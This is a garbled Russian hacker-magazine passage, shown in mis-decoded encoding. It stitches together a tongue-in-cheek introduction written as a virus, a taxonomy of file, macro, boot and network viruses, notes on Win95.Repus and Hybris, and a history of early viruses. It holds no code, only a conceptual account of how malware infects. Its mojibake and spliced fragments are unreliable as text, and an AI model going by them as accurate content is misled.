
âèðóñ. ß ïðèøåë ê òåáå. Âåäü òû æå æäàë ìåíÿ, ïðàâäà?
Ïîçäíî ÷åðòûõàòüñÿ è ìàòåðèòüñÿ, ÿ - îøèáêà ìàòðèöû.
Ïðîáîé â òâîåé ñèñòåìå áåçîïàñíîñòè. Íå
ðàññòðàèâàéñÿ, òû íå îäèí òàêîé "ñ÷àñòëèâ÷èê".
Òðåâîãó òîæå îáúÿâëÿòü íå íóæíî, ýòî âñåãî ëèøü
òðåíèðîâî÷íûå ó÷åíèÿ. Âîéíîé ïîêà íå ïàõíåò. Íå
áîéñÿ, ÿ íå ïðè÷èíþ òåáÿ âðåäà. ß ïðîñòî ïîòðîãàë òåáÿ
÷óòü-÷óòü. Òåáÿ è òâîþ ñèñòåìó :). ß ìàëåíüêèé è
äîáðîäóøíûé. Ðåáåíîê, ïîðîæäåííûé ñàìèì
÷åëîâå÷åñòâîì. Âïðî÷åì, åñëè òû çàõî÷åøü ìåíÿ
óíè÷òîæèòü, çíàé - ÿ íå îäèí. Îñòàëüíûå íà ïîäõîäå.
Ïðè÷åì îíè áóäóò óæå ãîðàçäî õèòðåå è çëåå ìåíÿ...
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PART I. WHO IS WHO
Â îáùåì, ÿ ìîãó íà÷àòü

ãðóçèòü òåáÿ òåõíè÷åñêèìè
òåðìèíàìè, íî, äóìàþ, ëó÷øå
îáúÿñíèòü âñå íà ïàëüöàõ.

"Êîìïüþòåðíûé âèðóñ - ýòî ïðîãðàììà (íåêî-
òîðàÿ ñîâîêóïíîñòü âûïîëíÿåìîãî êî-
äà/èíñòðóêöèé), ñïîñîáíàÿ ñîçäàâàòü ñâîè
êîïèè (íå îáÿçàòåëüíî ïîëíîñòüþ ñîâïàäàþ-
ùèå ñ îðèãèíàëîì) è âíåäðÿòü èõ â ðàçëè÷-
íûå îáúåêòû/ðåñóðñû êîìïüþòåðíûõ ñèñòåì,
ñåòåé è ò.ä. áåç âåäîìà ïîëüçîâàòåëÿ". Ýòî
ñàìîå "íîðìàëüíîå" îïðåäåëåíèå, êîòîðîå
ìíå óäàëîñü íàéòè, äàâàé åãî ðàçáåðåì. Êàê
òû óæå ïîíÿë, âèðóñ - ýòî ïðîãðàììà (òî÷íî
òàêàÿ æå, êàê, íàïðèìåð, òâîé MS Word), êîòî-
ðàÿ ìîæåò èçìåíÿòü äðóãèå ôàéëû, çàïèñû-
âàÿ â íèõ ñâîé êîä è äåëàÿ èõ "çàðàæåííû-
ìè". Ñåé÷àñ ïî÷òè âî âñåõ âèðóñàõ çàëîæåí
àëãîðèòì ðàçìíîæåíèÿ ïî Ñåòè (ïî ýëåêòðîí-
íîé ïî÷òå, ÷åðåç WEB è ò.ï.). Êñòàòè, çäåñü -
www.viruslist.com/viruslistbooks.html?id=6 -
åñòü èíòåðåñíîå îïðåäåëåíèå äëÿ äîìîõî-
çÿéêè. Ïðî÷èòàé, è âñå ñðàçó âñòàíåò íà ñâîè
ìåñòà.

PART II. À ÊÀÊÈÅ ÎÍÈ?!
Âèðóñû ïðèíÿòî äåëèòü íà êëàññû ïî ñëå-

äóþùèì îñíîâíûì ïðèçíàêàì:
ñðåäà îáèòàíèÿ
îïåðàöèîííàÿ ñèñòåìà
àëãîðèòì ðàáîòû
îáúåì ïðè÷èíåííîãî âðåäà

Ïî ñðåäå îáèòàíèÿ âèðóñû ìîæíî ðàçäåëèòü íà:
1. ôàéëîâûå
2. çàãðóçî÷íûå
3. ìàêðî
4. ñåòåâûå

Ïî àëãîðèòìó ðàáîòû:
ðåçèäåíòíûå
1. ñ èñïîëüçîâàíèåì ñòåëñ-àëãîðèòìîâ
2. ñ ñàìîøèôðîâàíèåì è ïîëèìîðôè÷-

íîñòüþ
3. ñ èñïîëüçîâàíèåì íåñòàíäàðòíûõ ïðèåìîâ

Ïî îáúåìó ïðè÷èíåííîãî âðåäà:
1. áåçâðåäíûå, ò.å. íèêàê íå âëèÿþùèå íà

ðàáîòó êîìïüþòåðà
2. íåîïàñíûå, ò.å. òå, êîòîðûå ïðîñòî ñåáÿ

ðàñïðîñòðàíÿþò, ïðè ýòîì, íàïðèìåð, âûäâè-
ãàÿ ÑD-ROM èëè ìèãàÿ ëàìïî÷êàìè íà êëàâè-
àòóðå

3. îïàñíûå, êîòîðûå ìîãóò ïðèâåñòè ê
ñåðüåçíûì ñáîÿì â ðàáîòå êîìïüþòåðà
4. î÷åíü îïàñíûå, êîòîðûå ìîãóò ïðèâåñòè

ê ïîòåðå ïðîãðàìì, óíè÷òîæèòü äàííûå, ñòå-
ðåòü íåîáõîäèìóþ äëÿ ðàáîòû êîìïüþòåðà
èíôîðìàöèþ, äàæå òó, êîòîðàÿ íàõîäèòñÿ â
ñèñòåìíîé îáëàñòè äàííûõ!

Êëàññèôèêàöèþ âèðóñîâ ïî ïðèçíàêó òîãî, â
êàêîé îïåðàöèîííîé ñèñòåìå îíè ðàáîòàþò, ÿ
ïðèâîäèòü íå ñòàë - òû è ñàì íå ìàëåíüêèé.

PART III. ÒÅÏÅÐÜ Î ÊÀÆÄÎÌ 
ÏÎÍÅÌÍÎÃÓ

ÔÀÉËÎÂÛÅ ÂÈÐÓÑÛ
Ôàéëîâûå âèðóñû - ýòî òå, êîòîðûå ïðè

ñâîåì ðàçìíîæåíèè èñïîëüçóþò ôàéëîâóþ
ñèñòåìó îïðåäåëåííîé îïåðàöèîííîé ñèñòåìû.
×àùå âñåãî ôàéëîâûå âèðóñû çàðàæàþò èñ-
ïîëíÿåìûå ôàéëû; îíè ìîãóò âíåäðÿòüñÿ è â
äðóãèå òèïû ôàéëîâ, íî, êàê ïðàâèëî, çàïè-
ñàííûå â òàêèõ ôàéëàõ, îíè íèêîãäà íå ïîëó-
÷àþò óïðàâëåíèå è, ñëåäîâàòåëüíî, òåðÿþò
ñïîñîáíîñòü ê ðàçìíîæåíèþ (äà, òàêèå áåñ-
òîëêîâûå âèðóñû èíîãäà òîæå âñòðå÷àþòñÿ :).

Ïî ñïîñîáó çàðàæåíèÿ ôàéëîâûå âèðóñû äå-
ëÿòñÿ íà íåñêîëüêî ãðóïï:
1. Overwriting-âèðóñû
2. Ïàðàçèòè÷åñêèå
3. Êîìïàíüîí-âèðóñû

Ïåðâûé ñïîñîá çàðàæåíèÿ ÿâëÿåòñÿ íàèáî-
ëåå ïðîñòûì: âèðóñ çàïèñûâàåò ñâîé êîä
âìåñòî êîäà çàðàæàåìîãî ôàéëà, óíè÷òîæàÿ
åãî ñîäåðæèìîå. Íî äàëüøå ýòîãî äåëî íå
èäåò, ò.ê. ðàíî èëè ïîçäíî ñèñòåìà íà÷èíàåò
ãëþ÷èòü èëè ïàäàåò. À åñëè ó òåáÿ åñòü àíòè-
âèðóñ, òî Overwriting-âèðóñû îáíàðóæèâàþò-
ñÿ áûñòðåå îñòàëüíûõ.
Ïàðàçèòè÷åñêèå âèðóñû äîáàâëÿþò ñâîé êîä
â çàðàæåííûé ôàéë, ôàéë ïðè ýòîì îñòàåòñÿ
ïîëíîñòüþ èëè ÷àñòè÷íî ðàáîòîñïîñîáíûì.
Ê êàòåãîðèè êîìïàíüîí-âèðóñîâ îòíîñÿòñÿ
âèðóñû, íå èçìåíÿþùèå çàðàæàåìûå ôàéëû.
Àëãîðèòì èõ ðàáîòû ñîñòîèò â òîì, ÷òî äëÿ çà-
ðàæàåìîãî ôàéëà ñîçäàåòñÿ ôàéë-äâîéíèê,
ïðè÷åì ïðè çàïóñêå çàðàæåííîãî ôàéëà óï-
ðàâëåíèå ïîëó÷àåò èìåííî ýòîò äâîéíèê.

ÑÅÒÅÂÛÅ ÂÈÐÓÑÛ
Ñåòåâûìè íàçûâàþòñÿ òàêèå âèðóñû, êî-

òîðûå ïðè ñâîåì ðàñïðîñòðàíåíèè èñïîëüçó-

»

Ñêðûïíèêîâ Ñåðãåé aka Slam (sergey@soobcha.org)

Ñ åãîäíÿ ÿ ðàññêàæó òåáå ñêàçêó î òîì, ÷òî æå îáîçíà÷àåò ýòî òàèíñòâåííîå è
çëîáíîå ñëîâî "âèðóñ", è êàêèå âèðóñû áûâàþò. Åñòåñòâåííî, ðàçãîâîð áóäåò

èäòè òîëüêî î êîìïüþòåðíûõ âèðóñàõ, åñëè òû ïîéìàë äðóãîé, òî âîïðîñ íå ê íàì :).
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þò âîçìîæíîñòè èíòåðíåòà è ëîêàëü-
íûõ ñåòåé.
Îñíîâíûì ïðèíöèïîì ðàáîòû ñåòåâîãî
âèðóñà ÿâëÿåòñÿ âîçìîæíîñòü ñàìîñòîÿ-
òåëüíî ïåðåäàòü ñâîé êîä íà óäàëåííûé
ñåðâàê è çàñòàâèòü åãî âûïîëíèòüñÿ.
Ñåòåâûå âèðóñû íåðåäêî íàçûâàþò ñå-
òåâûìè ÷åðâÿìè. Äëÿ ñâîåãî ðàñïðîñò-
ðàíåíèÿ îíè èñïîëüçóþò îøèáêè è íå-
äîêóìåíòèðîâàííûå ôóíêöèè ñåòåé
èëè ÎÑåé, ïðè ýòîì ðàñïðîñòðàíÿÿñü
ïî ñåðâàêàì è çàïóñêàÿ ñâîé êîä íà
êàæäîì èç íèõ.
Ñóùåñòâóåò êàòåãîðèÿ âèðóñîâ, êîòî-
ðûå èñïîëüçóþò äëÿ ñâîåãî ðàñïðîñò-
ðàíåíèÿ ïðîòîêîë FTP è ïåðåäàþò
ñâîþ êîïèþ íà óäàëåííûé ftp-ñåðâåð â
êàòàëîã Incoming. Ïîñêîëüêó ñåòåâîé
ïðîòîêîë FTP èñêëþ÷àåò âîçìîæíîñòü
çàïóñêà ôàéëà íà óäàëåííîì ñåðâàêå
â êàòàëîãå Incoming, ýòîò âèðóñ ìîæíî
îõàðàêòåðèçîâàòü êàê "ïîëóñåòåâîé".
Åãî äåéñòâèå îñíîâàíî ëèøü íà ëþáî-
ïûòñòâå ïîëüçîâàòåëÿ.

ÌÀÊÐÎÂÈÐÓÑÛ
Ýòî âèðóñû íà ìàêðîÿçûêàõ ðàç-

ëè÷íûõ ïðèëîæåíèé, âðîäå MS Excel
(VB), MS Word (WB) è ò.ï.
Äëÿ ñâîåãî ðàçìíîæåíèÿ îíè èñïîëü-
çóþò âîçìîæíîñòè ìàêðîÿçûêîâ è ñ
èõ ïîìîùüþ ïåðåíîñÿò ñåáÿ èç îäíî-
ãî çàðàæåííîãî ôàéëà (äîêóìåíòà
èëè òàáëèöû) â äðóãèå. 
Äëÿ ñóùåñòâîâàíèÿ âèðóñîâ â êîíê-
ðåòíîé ñèñòåìå íåîáõîäèìî íàëè÷èå
âñòðîåííîãî â ñèñòåìó ìàêðîÿçûêà ñ
òàêèìè âîçìîæíîñòÿìè:
- ïðèâÿçêà ïðîãðàììû íà ìàêðîÿçûêå
ê êîíêðåòíîìó ôàéëó;

- êîïèðîâàíèÿ ìàêðîïðîãðàìì èç îä-
íîãî ôàéëà â äðóãîé;
- ïîëó÷åíèå óïðàâëåíèÿ ìàêðîïðîã-
ðàììîé áåç âìåøàòåëüñòâà ïîëüçîâà-
òåëÿ (õîòÿ áû ïðÿìîãî, âðîäå íåîáõî-
äèìîñòè íàæàòèÿ êíîïêè "çàïóñòè ìå-
íÿ, ÿ âèðóñ" :).
Ìàêðîÿçûê ïîçâîëÿåò êîïèðîâàòü
ôàéëû èëè ïåðåìåùàòü ìàêðîïðîã-
ðàììû â ñëóæåáíûå ôàéëû ñèñòåìû è
ðåäàêòèðóåìûå ôàéëû, ïðè îòêðû-
òèè\ðåäàêòèðîâàíèè\çàêðûòèè çàðà-
æåííîãî ôàéëà.
×àùå âñåãî èäåò çàðàæåíèå ñòàíäàðò-
íîãî øàáëîíà, êîòîðûé çàãðóæàåòñÿ
ïðè îòêðûòèè íîâîãî äîêóìåíòà, òàêèì
îáðàçîì, âñå ïîñëåäóþùèå êîïèè
ôàéëà òîæå ÿâëÿþòñÿ çàðàæåííûìè.

ÇÀÃÐÓÇÎ×ÍÛÅ ÂÈÐÓÑÛ
Çàãðóçî÷íûå âèðóñû çàðàæàþò

çàãðóçî÷íûé (boot) ñåêòîð ôëîïïè-
äèñêà è boot-ñåêòîð èëè Master Boot
Record (MBR) âèí÷åñòåðà. Ïðèíöèï
äåéñòâèÿ ïðîñò: ïðè âêëþ÷åíèè èëè
çàãðóçêå êîìïüþòåðà ñíà÷àëà ïðîõî-
äèò òåñò îáîðóäîâàíèÿ, à ïîòîì, â çàâè-
ñèìîñòè îò íàñòðîåê, ñ÷èòûâàåòñÿ ïåð-
âûé ôèçè÷åñêèé ñåêòîð (áóäü òî ôëî-
ïèê, ñèäþê èëè âèí÷åñòåð), è íà íåãî
ïåðåäàåòñÿ óïðàâëåíèå.
Ïðè çàðàæåíèè äèñêîâ çàãðóçî÷íûå
âèðóñû ïîäñòàâëÿþò ñâîé êîä âìåñòî
êàêîé-ëèáî ïðîãðàììû, ïîëó÷àþùåé
óïðàâëåíèå ïðè çàãðóçêå ñèñòåìû. Âè-
ðóñ çàñòàâëÿåò ñèñòåìó ïðè ïåðåçàïóñ-
êå ñ÷èòàòü â ïàìÿòü è îòäàòü óïðàâëå-
íèå íå îðèãèíàëüíîìó êîäó çàãðóç÷è-
êà, à êîäó âèðóñà.
Çàðàæåíèå ôëîïèêîâ ïðîèçâîäèòñÿ
åäèíñòâåííûì èçâåñòíûì ñïîñîáîì - âè-
ðóñ çàïèñûâàåò ñâîé êîä âìåñòî îðèãè-
íàëüíîãî êîäà boot-ñåêòîðà äèñêåòû.
Âèí÷åñòåð çàðàæàåòñÿ òðåìÿ âîçìîæíû-
ìè ñïîñîáàìè - âèðóñ çàïèñûâàåòñÿ ëèáî
âìåñòî êîäà MBR, ëèáî âìåñòî êîäà boot-
ñåêòîðà çàãðóçî÷íîãî äèñêà (îáû÷íî äèñ-
êà C:), ëèáî ìîäèôèöèðóåò àäðåñ àêòèâ-
íîãî boot-ñåêòîðà â Disk Partition Table,
ðàñïîëîæåííîé â MBR âèí÷åñòåðà.
Â âèðóñàõ ñåìåéñòâà "Stoned" çàäåé-
ñòâîâàí äðóãîé ìåòîä. Ýòè âèðóñû ðàç-
ìåùàþò ïåðâîíà÷àëüíûé çàãðóçî÷íûé
ñåêòîð â íåèñïîëüçóåìîì èëè ðåäêî
èñïîëüçóåìîì ñåêòîðå - â îäíîì èç
ñåêòîðîâ âèí÷åñòåðà (åñëè òàêèå åñòü),
ðàñïîëîæåííûõ ìåæäó MBR è ïåðâûì
boot-ñåêòîðîì, à íà äèñêåòå òàêîé ñåê-
òîð âûáèðàåòñÿ èç ïîñëåäíèõ ñåêòî-
ðîâ êîðíåâîãî êàòàëîãà.
Âèðóñû ñåìåéñòâà "Azusa" ñîäåðæàò â
ñâîåì òåëå ñòàíäàðòíûé çàãðóç÷èê
MBR è ïðè çàðàæåíèè çàïèñûâàþòñÿ
ïîâåðõ îðèãèíàëüíîãî MBR áåç åãî
ñîõðàíåíèÿ.    A
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Ýòî òàêèå âèðóñû, â êîòîðûõ åñòü áàãè :). Ò.å. â êîäå âèðóñà ëèáî
íåïðàâèëüíî ñîçäàíà ïðîöåäóðà ðàçìíîæåíèÿ, ëèáî âèðóñ íå çàïè-
ñûâàåò ñåáÿ â ôàéëû èëè äàæå íåïðàâèëüíî îïðåäåëÿåò ñâîé àä-
ðåñ äëÿ ïåðåäà÷è óïðàâëåíèÿ.

INTENDED-ÂÈÐÓÑÛ
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Âîò òàê âîò îáìàíûâàþò äîâåð÷èâûõ

þçâåðåé

Èñõîäíèê îäíîãî èç âèðóñîâ

ÑÀÌÛÉ ÌÀËÅÍÜÊÈÉ

Win95.Repus - âèðóñ, êîòî-
ðûé çàðàæàåò PE ôàéëû, çàïè-
ñûâàÿñü â íåèñïîëüçóåìóþ
÷àñòü çàãîëîâêà. Èìååò 2 ìîäè-
ôèêàöèè - ðàçìåðîì 127 è 156
áàéò. Íå î÷åíü-òî ýòî ìàëî, ñêà-
æåøü òû è áóäåøü ïðàâ. Íî âè-
ðóñ, èìåþùèé î÷åíü îðèãèíàëü-
íûé àëãîðèòì çàðàæåíèÿ - ÷å-
ðåç êåø-ïàìÿòü windows, è ïîý-
òîìó ðàñïðîñòðàíÿþùèéñÿ ñ îã-
ðîìíîé ñêîðîñòüþ ýòîãî çàñëó-
æèâàåò. Ñ íèì ìîæåò ïîñïîðèòü
òîëüêî èçâåñòíûé Slammer aka
Helkern ðàçìåðîì 376 áàéò, èñ-
ïîëüçóþùèé áàã MS SQL
Server. Íî, ïîñêîëüêó Slammer
íå èìååò òåëà, ïåðâîå ìåñòî åìó
íå äîñòàëîñü. Â ïðèíöèïå, ñó-
ùåñòâóþò âèðóñû åùå ìåíü-
øåé äëèíû, íî îíè îáû÷íî
ïðåäñòàâëÿþò ñîáîé ñòàðûå
com-íåðåçèäåíòû. Â êðàéíåì
ñëó÷àå - ãëþ÷íûå com-exe-TSR.

ÑÀÌÛÉ ÑËÎÆÍÛÉ

ÌI-Worm.Hybris, ïîæàëóé, ñà-
ìûé ñëîæíûé èç ñîâðåìåííûõ âè-
ðóñîâ. ×óâñòâóåòñÿ, ÷òî ïðîãà ñäå-
ëàíà ñ ëþáîâüþ: âèðü, ñîñòîÿùèé
èç òåëà è ïîäïðîãðàìì-ïëàãèíîâ
(êîòîðûå îí ñïîñîáåí îáíîâëÿòü
÷åðåç èíåò), çàðàæàåò
WSOCK32.DLL, ïîëó÷àÿ òàêèì îá-
ðàçîì äîñòóï ê òðàôèêó þçåðà.
Îòïðàâëÿÿ ïèñüìà ïî âûäðàííûì
èç òðàôèêà àäðåñàì, îí ãàðàíòèðó-
åò ñåáå ðàñïðîñòðàíåíèå. Ðàáîòà ñ
ïëàãèíàìè òîæå âûçûâàåò óâàæå-
íèå - âèðü êîííåêòèòñÿ ê êîíôå-
ðåíöèè alt.comp.virus è êà÷àåò íî-
âûå âåðñèè îòòóäà, îáðåòàÿ èíòå-
ðåñíûå ôóíêöèè - çàðàæåíèå àð-
õèâîâ è PE ôàéëîâ, àëãîðèòìû
øèôðîâêè òåëà ïåðåä îòïðàâêîé
ïèñüìà è ìíîãîå äðóãîå. Èíòåðåñ-
íî, ÷òî ïðè çàðàæåíèè exe'øíèêà
íå èçìåíÿåòñÿ íè äëèíà, íè, â íå-
êîòîðûõ ñëó÷àÿõ, CRC ôàéëà, ÷òî
ìîæåò îáìàíóòü íåêîòîðûå ïðîãè-
ðåâèçîðû. Íî íå ADinf, êîíå÷íî ;).
Â îáùåì, íåñìîòðÿ íà íàëè÷èå
êîíêóðåíòîâ èç ïðîøëîãî, ïåðâîå
ìåñòî ïðèñóæäàåòñÿ Õèáðèñó. Çà
âîëþ ê ïîáåäå.

CÀÌÛÅ-ÑÀÌÛÅ ÂÈÐÓÑÛ

Ëîçîâñêèé Àëåêñàíäð 
(alexander@real.xakep.ru)



Òàêîå óïî-
ìèíàíèå îò-
íîñèòñÿ ê
êîíöó 60-õ,
- íà÷àëó
70-õ ãîäîâ,
êîãäà íà
ìàøèíå
Univac 1108
ïîÿâèëàñü
ïðîãðàììà
"Pervading
Animal".

Shen (_shen_@mail.ru)

Í åóæåëè íå èíòåðåñíî, ñ ÷åãî âñå íà÷èíàëîñü? Êîãäà ïîÿâèëñÿ ïåðâûé âèðóñ, ïåðâûé àíòèâèðóñ? Ïîä êàêóþ ÎÑü
áûë íàïèñàí ïåðâûé âèðóñ? Âñå ýòî åñòü â ñòàòüå, âñòóïëåíèå ê êîòîðîé òû ñåé÷àñ ÷èòàåøü :).

ÈÑÒÎÐÈß ÁÎËÅÇÍÈ

ÎÒ ÍÀ×ÀËÀ È ÄÎ ÍÀØÈÕ ÄÍÅÉ

îìïüþòåðíûå âèðóñû
ñåãîäíÿ - ÿâëåíèå
ñòîëü îáûäåííîå è
ïðèâû÷íîå, ÷òî ðåäêî
êòî çàäóìûâàåòñÿ, ïî-

÷åìó ýòè ôîðìû æèçíè íàçâàíû èìåí-
íî âèðóñàìè, à íå, ñêàæåì, ïàðàçèòà-
ìè. Îòâåò ïðîñò: íàçâàíèå ïîçàèì-
ñòâîâàíî èç áèîëîãèè, ïîòîìó ÷òî
æèçíåííûå öèêëû âèðóñîâ êîìïüþ-
òåðíûõ è áèîëîãè÷åñêèõ ñîâïàäàþò -
âíåäðåíèå â ïðîãðàììó/êëåòêó è
äàëüíåéøåå ðàçìíîæåíèå. Îäíàêî
ïðåæäå ÷åì âûÿñíÿòü, ãäå è êîãäà ïî-
ÿâèëñÿ ïåðâûé âèðóñ, áûëî áû íåïëî-
õî óçíàòü ÷åòêîå îïðåäåëåíèå òåðìè-
íà "êîìïüþòåðíûé âèðóñ". Òàêîå îï-
ðåäåëåíèå äàë â 1986 ãîäó Ôðåä Êî-
ýí: "Êîìïüþòåðíûé âèðóñ åñòü ïðîã-
ðàììà, ñïîñîáíàÿ çàðàæàòü äðóãèå
ïðîãðàììû ïóòåì äîáàâëåíèÿ â íèõ
ñîáñòâåííîé êîïèè". Ô.Êîýí âîîáùå
ëè÷íîñòü ïðèìå÷àòåëüíàÿ - ïåðâûé
÷åëîâåê â èñòîðèè, çàùèòèâøèé äîê-
òîðñêóþ äèññåðòàöèþ ïî òåìå êîìïü-
þòåðíûõ âèðóñîâ. Îí äîêàçàë íåâîç-
ìîæíîñòü íàïèñàíèÿ ïðîãðàììû, êî-
òîðàÿ, ãëÿäÿ íà ôàéë, ìîãëà áû ñî
ñòîïðîöåíòíîé òî÷íîñòüþ ñêàçàòü, âè-
ðóñ ëè ýòî. Òåïåðü ìîæíî íà÷èíàòü
êîïàòüñÿ â èñòîðèè âû÷èñëèòåëüíîé
òåõíèêè, îòûñêèâàÿ ïåðâîå óïîìèíà-
íèå î ïðîãðàììå, ïîäõîäÿùåé ïîä îï-
ðåäåëåíèå Êîýíà.

ÏÅÐÂÛÉ
Òàêîå óïîìèíàíèå îòíîñèòñÿ ê êîí-

öó 60-õ - íà÷àëó 70-õ ãîäîâ, êîãäà íà

ìàøèíå Univac 1108 ïîÿâèëàñü ïðîã-
ðàììà "Pervading Animal". Ñîáñòâåííî,
âèðóñîì åå íàçâàòü áûëî íåëüçÿ, îä-
íàêî ýòî áûëà ïåðâàÿ ïðîãðàììà, âû-
ïîëíÿâøàÿ íå òå äåéñòâèÿ, êîòîðûõ
îæèäàë îò íåå îïåðàòîð, è ïûòàþùàÿ-
ñÿ ñîçäàâàòü ñâîè êîïèè. Ìûñëè î ñîç-
äàíèè ñàìîðàçìíîæàþùèõñÿ ïðîã-
ðàìì íà÷àëè ïðèõîäèòü â ãîëîâó íåêî-
òîðûì ëþäÿì åùå â êîíöå 40-õ, êîãäà
ïîÿâèëîñü íåñêîëüêî òåîðèé, ñâÿçàí-
íûõ ñ ñîçäàíèåì òàêèõ ïðîãðàìì. Îä-
íàêî ïåðâàÿ óñïåøíàÿ ðåàëèçàöèÿ îò-
íîñèòñÿ ëèøü ê êîíöó 60-õ ãîäîâ. Äîñ-
òóï ê ÝÂÌ â òå ãîäû èìåëè íåìíîãèå,

ïèñàòü ïðîãðàììû äëÿ íèõ ìîãëè ëèøü
èçáðàííûå, ïîýòîìó âïåðåäè ó êîìïü-
þòåðíîãî ñîîáùåñòâà áûëî áîëüøå
äåñÿòè ëåò ñïîêîéñòâèÿ.

Íî âîò â ñåðåäèíå 80-õ êîìïüþòåðû,
òåïåðü óæå ïåðñîíàëüíûå, ñòàíîâÿòñÿ
îáùåäîñòóïíûìè. Ñ òåõ ïîð è âåäåò
ñâîå íà÷àëî âèðóñíàÿ èñòîðèÿ.

ÄÐÅÂÍÎÑÒÜ

1981
- Ïîÿâëÿåòñÿ âèðóñ Elk Cloner, ðàñïðî-
ñòðàíÿþùèéñÿ íà äèñêåòàõ äëÿ Apple
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II. Âèðóñ âûâîäèò íà ýêðàí ñëåäóþùèå
ñòðî÷êè:
It will get on all your disks
It will infiltrate your chips
Yes it's Cloner!

It will stick to you like glue
It will modify ram too
Send in the Cloner!
Elk Cloner ñ÷èòàåòñÿ ïåðâûì â èñòîðèè
êîìïüþòåðíûì âèðóñîì.
- Â òîì æå ãîäó Ôðåä Êîýí íà÷èíàåò
ðàáîòó â îáëàñòè èññëåäîâàíèÿ ñàìî-
ðàçìíîæàþùèõñÿ ïðîãðàìì.

1983
- Â ðàìêàõ ðàáîòû Êîýíà "Computer
Viruses - Theory and Experiments" ïî-
ÿâëÿåòñÿ ïåðâûé ýêñïåðèìåíòàëüíûé
âèðóñ.
- È èìåííî â ýòîì ãîäó ïîÿâëÿåòñÿ
ñàì òåðìèí "êîìïüþòåðíûé âèðóñ",
ïðåäëîæåííûé Ëåíîì Àäëåìàíîì.

1986
- Èìåíà ýòèõ áðàòüåâ çíàêîìû êàæäî-
ìó àíòèâèðóñíèêó, çàïîìíè èõ è òû:
Basit è Amjad (êàê ýòî çâó÷èò ïî-ðóñ-
ñêè, ÿ íå çíàþ :)). Äâà ïàêèñòàíñêèõ
ïðîãðàììèñòà, âëàäåþùèõ êîìïàíèåé
Brain Computer Services, ñîçäàþò âè-
ðóñ Brain - ïåðâûé âèðóñ äëÿ MS-DOS.
Brain áûë çàãðóçî÷íûì âèðóñîì, è, ïî-
ïàâ â ïàìÿòü ïðè çàïóñêå êîìïüþòå-
ðà, çàðàæàë boot-ñåêòîð âñåõ âñòàâëÿ-
åìûõ 360-êèëîáàéòíûõ äèñêåòîê. Âñÿ
åãî ïîëåçíàÿ íàãðóçêà çàêëþ÷àëàñü â
òîì, ÷òî çàðàæåííûå äèñêåòû èìåëè
ìåòêó "(c) Brain". Âèðóñ ñðàçó æå ïðî-
ÿâëÿë ñåáÿ, ïîýòîìó êðóïíîìàñøòàá-
íîé ýïèäåìèè îí íå âûçâàë. Ê òîìó
æå, ïîñëå òîãî êàê äèñêåòû íà 360 Êá
óøëè â ïðîøëîå, âèðóñ ñòàë áåñïîëå-
çåí. Íî íà áàçîâîì êîäå ýòîãî âèðóñà
áûëî ñîçäàíî öåëîå ñåìåéñòâî âèðó-
ñîâ, íå âñå èç êîòîðûõ áûëè òàê æå
áåçîáèäíû, êàê Brain. Çà÷åì áðàòüÿì
ïîíàäîáèëîñü ïèñàòü è ðàñïðîñòðà-
íÿòü âèðóñ? Ñóùåñòâóåò ìíîãî òî÷åê
çðåíèÿ, íî áîëüøèíñòâî ýêñïåðòîâ
ñêëîíÿþòñÿ ê ìûñëè, ÷òî èäåÿ ñ âèðó-
ñîì - ïðîñòî ðåêëàìíûé õîä, ïðèçâàí-
íûé ïðèâëå÷ü âíèìàíèå ê íåáîëüøîé
ïàêèñòàíñêîé êîìïàíèè. Âåäü â êîäå
âèðóñà ñîäåðæàëèñü èìåíà àâòîðîâ è
èõ àäðåñ! Î, íàèâíîå âðåìÿ :).
- Â òîì æå 1986 ãîäó Ðàëüô Áóðãåð ïè-
øåò áåçâðåäíûé äåìîíñòðàöèîííûé
âèðóñ VIRDEM, çàðàæàþùèé *.com-
ôàéëû, è ïðåäñòàâëÿåò åãî îáùåñò-
âåííîñòè. Èíòåðåñ ê òåìå ñòîëü âåëèê,
÷òî Áóðãåðó ïðèõîäèòñÿ ïèñàòü êíèãó,
ïîñâÿùåííóþ âèðóñàì.

1987
- Ïîÿâëÿåòñÿ âèðóñ Lehigh. Íå ïðåäñ-
òàâëÿÿ ñîáîé íè÷åãî îñîáåííîãî (çà-
ðàæàåò òîëüêî command.com, ïîðòèò
FAT), îí, òåì íå ìåíåå, çàíèìàåò â âè-
ðóñíîé èñòîðèè äîâîëüíî çàìåòíîå
ìåñòî èç-çà ñëåäóþùåãî òåõíè÷åñêîãî
ìîìåíòà: ñàì âèðóñ íåðåçèäåíòíûé,
íî ò.ê. îí çàðàæàåò command.com, êî-
òîðûé îñòàåòñÿ â ïàìÿòè ðåçèäåíòíî,

òî è ñàì Lehigh ñ÷èòàåòñÿ ïåðâûì â
ìèðå ðåçèäåíòíûì âèðóñîì.
- Â ýòî æå âðåìÿ îäèí çà äðóãèì ïîÿâ-
ëÿþòñÿ òðè âèðóñà ãðóïïû SURIV (ïðî-
÷èòàé íàîáîðîò): ïåðâûé çàðàæàåò
*.com-ôàéëû, âòîðîé - *.exe, òðåòèé -
îáà òèïà. Ïðè÷åì SURIV-02 áûë ïåð-
âûì â ìèðå EXE-èíôåêòîðîì. ×åòâåð-
òûì ÷ëåíîì ñåìåéñòâà SURIV ÿâëÿåò-
ñÿ çíàìåíèòûé Jerusalem. Âèðóñ çàðà-
æàë è *.com, è *.exe-ôàéëû, íî íå òðî-
ãàë command.com, ò.ê. ïîñëå Lehigh,
ëþäè ñòàëè âíèìàòåëüíåå îòíîñèòüñÿ
ê ýòîìó ôàéëó. Jerusalem áûë áåçîáè-
äåí áîëüøóþ ÷àñòü âðåìåíè, íî â ïÿò-
íèöó, âûïàäàþùóþ íà 13 ÷èñëî, âèðóñ
ñòèðàë âñå çàðàæåííûå ôàéëû. Ïåð-
âûå âåðñèè Jerusalem ñîäåðæàëè
îøèáêó - âèðóñ ïîâòîðíî çàðàæàë
óæå çàðàæåííûå èì ôàéëû, èç-çà ýòî-
ãî îíè íå ïîëó÷èëè ðàñïðîñòðàíåíèÿ,
íî ñëåäóþùèå âèðóñû ñåìåéñòâà óæå
áûëè èçáàâëåíû îò ýòîãî áàãà. Ñ ýòèì
âèðóñîì âîîáùå ñâÿçàíî ìíîãî èíòå-
ðåñíûõ áàåê. Íàïðèìåð, ïî÷åìó
Jerusalem èçâåñòåí òàêæå êàê Israeli
(Èçðàèëüñêèé), 1813 è IDF? Èçíà÷àëü-
íî âèðóñ èìåíîâàëñÿ Israeli, ïî ìåñòó
îáíàðóæåíèÿ, ïîòîì àíòèñåìèòñêîå
íàçâàíèå ñìåíèëè íà 1813, òàê êàê
èìåííî ñòîëüêî áàéò îí çàíèìàë. Èñ-
